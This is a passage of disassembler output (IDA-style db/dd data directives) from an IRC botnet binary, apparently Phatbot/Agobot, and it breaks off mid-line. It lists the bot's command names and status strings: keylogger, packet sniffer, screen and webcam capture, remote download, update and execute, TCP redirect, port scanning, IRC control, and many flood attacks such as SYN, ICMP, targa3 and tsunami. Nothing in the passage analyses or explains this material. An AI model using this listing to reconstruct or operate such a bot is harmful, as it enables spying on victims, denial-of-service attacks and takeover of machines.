db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_441EB4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7:loc_405E65o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 10h ; char aSniffer[] aSniffer db 'sniffer',0 ; DATA XREF: sub_401CC7+41A9o ; char aOn_0[] aOn_0 db 'on',0 ; DATA XREF: sub_401CC7+41C0o align 4 unk_441EEC db 2Dh ; - ; DATA XREF: sub_401CC7+41E0o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_2 db '- Already running.',0 ; char asc_441F0C[] asc_441F0C db '-' ; DATA XREF: sub_401CC7+4247o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_441F3C db 2Dh ; - ; DATA XREF: sub_401CC7+42B6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 ; char aOff_1[] aOff_1 db 'off',0 ; DATA XREF: sub_401CC7+42C3o unk_441F7C db 2Dh ; - ; DATA XREF: sub_401CC7+42E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_441FBC db 2Dh ; - ; DATA XREF: sub_401CC7:loc_405FB7o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 ; char aIdent[] aIdent db 'ident',0 ; DATA XREF: sub_401CC7+42FBo align 4 ; char aOn_1[] aOn_1 db 'on',0 ; DATA XREF: sub_401CC7+4312o align 4 dword_441FF8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+432Eo aAlreadyRunni_3 db '- Already running.',0 align 4 ; char asc_442018[] asc_442018 db '-' ; DATA XREF: sub_401CC7+433Eo db 3, 34h, 2 dd 6E656469h, 3026474h aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_442044 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+438Bo aFailedToSta_15 db '- Failed to start server, error: <%d>.',0 align 4 ; char aOff_2[] aOff_2 db 'off',0 ; DATA XREF: sub_401CC7+4398o dword_44207C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+43BBo aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_4420B4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7:loc_40608Co aNoThreadFound_ db '- No thread found.',0 align 4 ; char aKeylog[] aKeylog db 'keylog',0 ; DATA XREF: sub_401CC7+43D0o align 4 ; char aOn_2[] aOn_2 db 'on',0 ; DATA XREF: sub_401CC7+43E8o align 10h ; char aFile[] aFile db 'file',0 ; DATA XREF: sub_401CC7+43F9o align 4 dword_4420E8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+444Do aAlreadyRunni_4 db '- Already running.',0 align 4 ; char aFile_0[] aFile_0 db 'file',0 ; DATA XREF: sub_401CC7+4464o align 10h ; char asc_442110[] asc_442110 db '-' ; DATA XREF: sub_401CC7+44D1o db 3, 34h, 2 dd 6C79656Bh, 302676Fh aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_442134 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+4540o aFailedToSta_16 db '- Failed to start logging thread, error: <%d>.',0 align 10h ; char aOff_3[] aOff_3 db 'off',0 ; DATA XREF: sub_401CC7+440Ao dword_442174 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+442Do aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 10h dword_4421B0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7:loc_4060FEo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 ; char aNet[] aNet db 'net',0 ; DATA XREF: sub_401CC7+454Bo ; char aStart[] aStart db 'start',0 ; DATA XREF: sub_401CC7+45A1o align 4 aS_3 db '%s',0 ; DATA XREF: sub_401CC7+45C2o align 4 unk_4421EC db 2Dh ; - ; DATA XREF: sub_401CC7+45E4o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h unk_442210 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4062B5o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 ; char aStop[] aStop db 'stop',0 ; DATA XREF: sub_401CC7+45FBo align 4 aS_4 db '%s',0 ; DATA XREF: sub_401CC7+4618o align 4 ; char aPause[] aPause db 'pause',0 ; DATA XREF: sub_401CC7+4625o align 4 aS_5 db '%s',0 ; DATA XREF: sub_401CC7+4642o align 4 ; char aContinue[] aContinue db 'continue',0 ; DATA XREF: sub_401CC7+464Fo align 4 aS_6 db '%s',0 ; DATA XREF: sub_401CC7+466Co align 4 ; char aDelete_0[] aDelete_0 db 'delete',0 ; DATA XREF: sub_401CC7+4679o align 10h aS_7 db '%s',0 ; DATA XREF: sub_401CC7+4696o align 4 ; char aShare[] aShare db 'share',0 ; DATA XREF: sub_401CC7+46A3o align 4 aS_8 db '%s',0 ; DATA XREF: sub_401CC7+46CCo align 10h aS_9 db '%s',0 ; DATA XREF: sub_401CC7+46E8o align 4 unk_442274 db 2Dh ; - ; DATA XREF: sub_401CC7+470Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 unk_442298 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4063DCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 ; char aUser_0[] aUser_0 db 'user',0 ; DATA XREF: sub_401CC7+4722o align 10h aS_10 db '%s',0 ; DATA XREF: sub_401CC7+475Bo align 4 aS_11 db '%s',0 ; DATA XREF: sub_401CC7+4788o align 4 aS_12 db '%s',0 ; DATA XREF: sub_401CC7+479Fo align 4 unk_4422CC db 2Dh ; - ; DATA XREF: sub_401CC7+47C2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_4422EC db 2Dh ; - ; DATA XREF: sub_401CC7:loc_406493o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 ; char aSend_0[] aSend_0 db 'send',0 ; DATA XREF: sub_401CC7+47D9o align 4 aS_13 db '%s',0 ; DATA XREF: sub_401CC7+4805o align 4 unk_442318 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4064D6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 unk_44233C db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4064E0o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_442358 db 2Dh ; - ; DATA XREF: sub_401CC7+456Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 ; char aCapture[] aCapture db 'capture',0 ; DATA XREF: sub_401CC7+4824o ; char aCap[] aCap db 'cap',0 ; DATA XREF: sub_401CC7+4839o ; char aScreen[] aScreen db 'screen',0 ; DATA XREF: sub_401CC7:loc_4090A0o align 4 ; char asc_4423A4[] asc_4423A4 db '-' ; DATA XREF: sub_401CC7+740Ao db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 unk_4423D0 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4090E1o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing screen.',0 align 10h ; char asc_442400[] asc_442400 db '-' ; DATA XREF: sub_401CC7:loc_4090E8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 ; char aDrivers[] aDrivers db 'drivers',0 ; DATA XREF: sub_401CC7:loc_4090FBo ; char asc_442444[] asc_442444 db '-' ; DATA XREF: sub_401CC7+7481o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 ; char asc_44246C[] asc_44246C db '-' ; DATA XREF: sub_401CC7+74B4o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 ; char aFrame[] aFrame db 'frame',0 ; DATA XREF: sub_401CC7:loc_409188o align 4 ; char asc_44249C[] asc_44249C db '-' ; DATA XREF: sub_401CC7+7538o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 unk_4424C8 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_40920Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 ; char asc_4424FC[] asc_4424FC db '-' ; DATA XREF: sub_401CC7:loc_409216o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for webcam capture.',0 align 4 ; char aVideo[] aVideo db 'video',0 ; DATA XREF: sub_401CC7:loc_409229o align 4 unk_44253C db 2Dh ; - ; DATA XREF: sub_401CC7+75E6o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 unk_442568 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4092B7o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing amateur video from webcam.',0 unk_4425A8 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4092C1o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for amateur video capture.',0 align 4 ; char aGethost[] aGethost db 'gethost',0 ; DATA XREF: sub_401CC7+484Eo ; char aGh[] aGh db 'gh',0 ; DATA XREF: sub_401CC7+4863o align 4 ; char aSSSS_1[] aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+7333o align 4 ; char asc_442604[] asc_442604 db '-' ; DATA XREF: sub_401CC7+735Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 ; char asc_44262C[] asc_44262C db '-' ; DATA XREF: sub_401CC7+737Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 ; char asc_44265C[] asc_44265C db '-' ; DATA XREF: sub_401CC7+73C1o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h dd 0 ; char aKilllog[] aKilllog db 'killlog',0 ; DATA XREF: sub_401CC7+488Co ; char aKl[] aKl db 'kl',0 ; DATA XREF: sub_401CC7+48A3o align 4 ; char aAddalias[] aAddalias db 'addalias',0 ; DATA XREF: sub_401CC7+48BAo align 10h ; char aAa[] aAa db 'aa',0 ; DATA XREF: sub_401CC7+48D1o align 4 ; char asc_442694[] asc_442694 db '-' ; DATA XREF: sub_401CC7+72B2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 ; char aPrivmsg_1[] aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401CC7+48E8o ; char aPm[] aPm db 'pm',0 ; DATA XREF: sub_401CC7+48FFo align 10h unk_4426C0 db 2Dh ; - ; DATA XREF: sub_401CC7+727Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 10h ; char aAction[] aAction db 'action',0 ; DATA XREF: sub_401CC7+4916o align 4 ; char aA[] aA: ; DATA XREF: sub_401CC7+492Do unicode 0, <a>,0 ; char dword_4426EC dword_4426EC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC7+7203o unk_4426F8 db 2Dh ; - ; DATA XREF: sub_401CC7+7229o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 ; char aCycle[] aCycle db 'cycle',0 ; DATA XREF: sub_401CC7+4944o align 4 ; char aCy[] aCy db 'cy',0 ; DATA XREF: sub_401CC7+495Bo align 10h ; char a332_2[] a332_2 db '332',0 ; DATA XREF: sub_401CC7+7168o ; char aPartS_1[] aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+717Do align 10h ; char aJoinSS_2[] aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+71AAo align 10h dword_442740 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401CC7+71B7o ; char aMode_0[] aMode_0 db 'mode',0 ; DATA XREF: sub_401CC7+4972o align 4 ; char aM[] aM: ; DATA XREF: sub_401CC7+4989o unicode 0, <m>,0 ; char aModeS_0[] aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7147o align 4 unk_44276C db 2Dh ; - ; DATA XREF: sub_401CC7+7158o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 ; char aC_raw[] aC_raw db 'c_raw',0 ; DATA XREF: sub_401CC7+49A0o align 10h ; char aC_r[] aC_r db 'c_r',0 ; DATA XREF: sub_401CC7+49B7o ; char aS_18[] aS_18 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+70FAo align 4 dword_44279C dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401CC7+711Co dd 25203A29h, 73h ; char aC_mode[] aC_mode db 'c_mode',0 ; DATA XREF: sub_401CC7+49CEo align 10h ; char aC_m[] aC_m db 'c_m',0 ; DATA XREF: sub_401CC7+49E5o ; char aModeS[] aModeS db 'MODE %s',0 ; DATA XREF: sub_401CC7+7052o ; char aS_17[] aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+708Bo align 4 dword_4427D4 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401CC7+70ADo dd 203A2973h, 7325h ; char aC_nick[] aC_nick db 'c_nick',0 ; DATA XREF: sub_401CC7+49FCo align 4 ; char aC_n[] aC_n db 'c_n',0 ; DATA XREF: sub_401CC7+4A13o ; char aNickS_5[] aNickS_5 db 'NICK %s',0 ; DATA XREF: sub_401CC7+6FC8o ; char aS_16[] aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7000o align 4 ; char dword_44280C[] dword_44280C dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401CC7+7022o dd 203A2973h, 7325h ; char aC_join[] aC_join db 'c_join',0 ; DATA XREF: sub_401CC7+4A2Ao align 10h ; char aC_j[] aC_j db 'c_j',0 ; DATA XREF: sub_401CC7+4A41o ; char aJoinSS_1[] aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_401CC7+6F81o align 10h aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+6FBAo align 4 ; char aC_part[] aC_part db 'c_part',0 ; DATA XREF: sub_401CC7+4A58o align 10h ; char aC_p[] aC_p db 'c_p',0 ; DATA XREF: sub_401CC7+4A6Fo ; char aPartS_0[] aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401CC7+6F16o ; char aS_14[] aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+6F4Fo align 4 ; char aTarga3[] aTarga3 db 'targa3',0 ; DATA XREF: sub_401CC7+4A86o align 4 ; char aT3[] aT3 db 't3',0 ; DATA XREF: sub_401CC7+4A9Do align 10h ; char asc_442870[] asc_442870 db '-' ; DATA XREF: sub_401CC7+6E96o db 3, 34h, 2 dd 67726174h, 3023361h aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 dword_44289C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401CC7+6F05o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aTsunami[] aTsunami db 'tsunami',0 ; DATA XREF: sub_401CC7+4AB4o ; char aTsn[] aTsn db 'tsn',0 ; DATA XREF: sub_401CC7+4ACBo ; char asc_4428E4[] asc_4428E4 db '-' ; DATA XREF: sub_401CC7+6D9Bo db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 ; char asc_442918[] asc_442918 db '-' ; DATA XREF: sub_401CC7+6E06o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToSta_17 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aRepeat[] aRepeat db 'repeat',0 ; DATA XREF: sub_401CC7+4AE2o align 4 ; char aRp[] aRp db 'rp',0 ; DATA XREF: sub_401CC7+4AF9o align 10h ; char a332_1[] a332_1 db '332',0 ; DATA XREF: sub_401CC7+6C41o ; char aRepeat_0[] aRepeat_0 db 'repeat',0 ; DATA XREF: sub_401CC7+6C68o align 4 ; char aSSSS_0[] aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+6C95o align 4 ; char asc_44297C[] asc_44297C db '-' ; DATA XREF: sub_401CC7+6CBEo db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h ; char asc_442994[] asc_442994 db '-' ; DATA XREF: sub_401CC7:loc_4089C0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 ; char aDelay[] aDelay db 'delay',0 ; DATA XREF: sub_401CC7+4B10o align 10h ; char aDe[] aDe db 'de',0 ; DATA XREF: sub_401CC7+4B27o align 4 ; char a332_0[] a332_0 db '332',0 ; DATA XREF: sub_401CC7+6BA2o ; char aSSSS[] aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+6BE3o align 4 dword_4429E8 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401CC7:loc_4088EEo ; char aUpdate[] aUpdate db 'update',0 ; DATA XREF: sub_401CC7+4B3Eo align 4 ; char aUp_0[] aUp_0 db 'up',0 ; DATA XREF: sub_401CC7+4B55o align 4 ; char aSS_exe[] aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401CC7+6A63o align 4 ; char asc_442A14[] asc_442A14 db '-' ; DATA XREF: sub_401CC7+6B0Bo db 3, 34h, 2 dd 61647075h, 3026574h aDownloadingUpd db '- Downloading update from: %s.',0 align 10h dword_442A40 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC7+6B7Ao aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 ; char asc_442A7C[] asc_442A7C db '-' ; DATA XREF: sub_401CC7:loc_40884Bo db 3, 34h, 2 dd 61647075h, 3026574h aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 ; char aExecute[] aExecute db 'execute',0 ; DATA XREF: sub_401CC7+4B6Co ; char aE[] aE: ; DATA XREF: sub_401CC7+4B83o unicode 0, <e>,0 unk_442AD0 db 2Dh ; - ; DATA XREF: sub_401CC7+69F6o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 dword_442AF4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401CC7+6A01o dd 7325203Ah, 0 ; char aFindfile[] aFindfile db 'findfile',0 ; DATA XREF: sub_401CC7+4B9Ao align 4 ; char aFf[] aFf db 'ff',0 ; DATA XREF: sub_401CC7+4BB1o align 10h ; char asc_442B20[] asc_442B20 db '-' ; DATA XREF: sub_401CC7+68E6o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h ; char asc_442B50[] asc_442B50 db '-' ; DATA XREF: sub_401CC7+695Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToSta_18 db 'Failed to start search thread, error: <%d>.',0 ; char aRename[] aRename db 'rename',0 ; DATA XREF: sub_401CC7+4BC8o align 4 ; char aMv[] aMv db 'mv',0 ; DATA XREF: sub_401CC7+4BDFo align 4 ; char asc_442B98[] asc_442B98 db '-' ; DATA XREF: sub_401CC7+680Ao db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 dword_442BBC dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7:loc_4084E6o ; char aIcmpflood[] aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401CC7+4BF6o align 4 ; char aIcmp[] aIcmp db 'icmp',0 ; DATA XREF: sub_401CC7+4C0Do align 4 ; char asc_442BDC[] asc_442BDC db '-' ; DATA XREF: sub_401CC7+676Eo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 unk_442C08 db 2Dh ; - ; DATA XREF: sub_401CC7+67DEo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToSta_19 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_442C40 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4084AFo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 ; char aClone_0[] aClone_0 db 'clone',0 ; DATA XREF: sub_401CC7+4C36o align 10h ; char aC[] aC: ; DATA XREF: sub_401CC7+4C4Do unicode 0, <c>,0 ; char asc_442C84[] asc_442C84 db '-' ; DATA XREF: sub_401CC7+667Co db 3, 34h, 2 dd 6E6F6C63h, 3027365h aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 dword_442CB4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401CC7+66EBo aFailedToSta_20 db '- Failed to start clone thread, error: <%d>.',0 align 10h ; char aDdos_syn[] aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401CC7+4C64o align 4 ; char aDdos_ack[] aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401CC7+4C7Bo align 4 ; char aDdos_random[] aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401CC7+4C92o ; char asc_442D14[] asc_442D14 db '-' ; DATA XREF: sub_401CC7+6594o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_442D44 db 2Dh ; - ; DATA XREF: sub_401CC7+6603o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToSta_21 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char aWisdom_udp[] aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401CC7+4CA9o align 4 unk_442D88 db 2Dh ; - ; DATA XREF: sub_401CC7+4D80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_22 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aSynflood[] aSynflood db 'synflood',0 ; DATA XREF: sub_401CC7+4D8Do align 4 ; char aSyn[] aSyn db 'syn',0 ; DATA XREF: sub_401CC7+4DA4o ; char asc_442DD8[] asc_442DD8 db '-' ; DATA XREF: sub_401CC7+649Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_442E08 db 2Dh ; - ; DATA XREF: sub_401CC7+650Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToSta_23 db '- Failed to start flood thread, error: <%d>.',0 align 10h ; char aSkysyn[] aSkysyn db 'skysyn',0 ; DATA XREF: sub_401CC7+4DBBo align 4 ; char asc_442E48[] asc_442E48 db '-' ; DATA XREF: sub_401CC7+4E3Eo db 3, 34h, 2 dd 73796B73h, 3026E79h aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 dword_442E78 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401CC7+4EADo aFailedToSta_24 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aPhatwonk[] aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401CC7+4EBAo align 10h ; char aWonk[] aWonk db 'wonk',0 ; DATA XREF: sub_401CC7+4ED1o align 4 ; char asc_442EC8[] asc_442EC8 db '-' ; DATA XREF: sub_401CC7+63B3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_442F04 db 2Dh ; - ; DATA XREF: sub_401CC7+6422o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToSta_25 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char aDownload[] aDownload db 'download',0 ; DATA XREF: sub_401CC7+4EE8o align 4 ; char aDl[] aDl db 'dl',0 ; DATA XREF: sub_401CC7+4EFFo align 4 ; char asc_442F4C[] asc_442F4C db '-' ; DATA XREF: sub_401CC7+62CBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_442F78 db 2Dh ; - ; DATA XREF: sub_401CC7+633Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_26 db 'Failed to start transfer thread, error: <%d>.',0 align 4 ; char aRedirect[] aRedirect db 'redirect',0 ; DATA XREF: sub_401CC7+4F16o align 4 ; char aRd[] aRd db 'rd',0 ; DATA XREF: sub_401CC7+4F2Do align 4 ; char asc_442FC8[] asc_442FC8 db '-' ; DATA XREF: sub_401CC7+618Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_443004 db 2Dh ; - ; DATA XREF: sub_401CC7+61FCo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 ; char aScan_0[] aScan_0 db 'scan',0 ; DATA XREF: sub_401CC7+4F44o align 10h ; char aSc[] aSc db 'sc',0 ; DATA XREF: sub_401CC7+4F5Bo align 4 ; char asc_443054[] asc_443054 db '-' ; DATA XREF: sub_401CC7+6090o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 10h unk_443090 db 2Dh ; - ; DATA XREF: sub_401CC7+60FFo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start scan thread, error: <%d>.',0 align 4 ; char aC_privmsg[] aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401CC7+4F72o align 4 ; char aC_pm[] aC_pm db 'c_pm',0 ; DATA XREF: sub_401CC7+4F89o align 4 ; char aSSS_0[] aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_401CC7+5FE4o align 4 ; char aC_action[] aC_action db 'c_action',0 ; DATA XREF: sub_401CC7+4FA0o align 4 ; char aC_a[] aC_a db 'c_a',0 ; DATA XREF: sub_401CC7+4FB7o ; char dword_4430FC dword_4430FC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: 